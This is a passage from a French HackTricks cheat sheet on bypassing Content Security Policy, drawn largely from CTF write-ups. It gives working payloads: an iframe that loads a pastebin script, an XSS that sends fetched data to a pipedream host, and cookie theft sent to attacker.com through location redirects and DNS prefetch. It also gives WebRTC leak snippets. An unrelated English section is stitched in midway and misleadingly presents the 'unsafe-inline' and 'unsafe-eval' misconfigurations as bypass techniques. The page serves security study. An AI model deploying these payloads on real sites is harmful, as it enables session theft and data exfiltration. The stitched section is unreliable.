Vous pouvez **restreindre un CSP d'un iframe** avec l'attribut **`csp`**:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
Dans [**ce compte rendu CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
Un CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** autorisant leur **nonce** et **en activant un script en ligne spécifique via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### Exfiltration de JS avec Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` est très probablement interdit par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Pour un exemple, consultez [**cette solution CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Fuite d'informations avec CSP et Iframe
- Un `iframe` est créé qui pointe vers une URL (appelons-la `https://example.redirect.com`) qui est autorisée par CSP.
- Cette URL redirige ensuite vers une URL secrète (par exemple, `https://usersecret.example2.com`) qui n'est **pas autorisée** par CSP.
- En écoutant l'événement `securitypolicyviolation`, on peut capturer la propriété `blockedURI`. Cette propriété révèle le domaine de l'URI bloquée, divulguant le domaine secret vers lequel l'URL initiale a redirigé.
Il est intéressant de noter que les navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite potentielle d'informations sensibles en raison d'un comportement indéfini.
Une autre technique consiste à exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et sur l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester de manière itérative différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
En surveillant quelles requêtes sont bloquées ou autorisées par la CSP, on peut réduire les caractères possibles dans le sous-domaine secret, finalement découvrant l'URL complète.
Les deux méthodes exploitent les subtilités de la mise en œuvre et du comportement de la CSP dans les navigateurs, démontrant comment des politiques en apparence sécurisées peuvent involontairement divulguer des informations sensibles.
Astuce provenant de [**ici**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
**Perspectives de Hacking**\
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
**Actualités de Hacking en Temps Réel**\
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux perspectives en temps réel
**Dernières Annonces**\
Restez informé des dernières primes en bugs lancées et des mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
## Technologies Non Sécurisées pour Contourner la CSP
### Surcharge du tampon de réponse PHP
PHP est connu pour **mettre en mémoire tampon la réponse jusqu'à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données dans les avertissements**, la **réponse** sera **envoyée** **avant** l'en-tête **CSP**, ce qui entraîne l'ignorance de l'en-tête.\
Ensuite, la technique consiste essentiellement à **remplir le tampon de réponse avec des avertissements** pour que l'en-tête CSP ne soit pas envoyé.
Idée provenant de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Réécrire la Page d'Erreur
D'après [**ce writeup**](https://blog.ssrf.kr/69), il semble qu'il était possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### QUELQUES + 'self' + wordpress
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **refléter** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...\
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements d'exfiltration CSP
S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.
### Location
Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Balise Meta
Vous pourriez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne divulguera pas de contenu)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### Préchargement DNS
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.\
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `<link reol="dns-prefetch" href="something.com">`
Vous pourriez abuser de ce comportement pour **exfiltrer des informations sensibles via des requêtes DNS** :
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
## Bypassing Content Security Policy (CSP)
---
### Introduction
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it is possible to bypass CSP protections using various techniques.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP. While this method can be effective, it also introduces security risks by allowing potentially malicious code to run on the page.
### Bypassing CSP using `unsafe-eval`
Another method to bypass CSP is by using the `unsafe-eval` keyword in the CSP header. This allows the execution of code generated by `eval()` functions, which are typically blocked by CSP. Similar to `unsafe-inline`, using `unsafe-eval` can open up security vulnerabilities on the website.
### Bypassing CSP using Data URI
Data URIs can also be used to bypass CSP restrictions. By encoding the script or style data in a Data URI format, it may be possible to execute the code despite CSP settings. This technique can be effective in certain scenarios where other methods fail.
### Conclusion
While Content Security Policy is a valuable security measure, it is not foolproof. It is important for developers and security professionals to be aware of potential bypass techniques in order to strengthen the overall security posture of web applications.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP :
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots)
{% endhint %}
### WebRTC
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code :
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
### Autre option :
Le contenu de ce répertoire est destiné à des fins éducatives et de recherche uniquement.
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Vérification des politiques CSP en ligne
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Création automatique de CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Références
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
**Perspectives sur le piratage**\
Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage
**Actualités sur le piratage en temps réel**\
Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>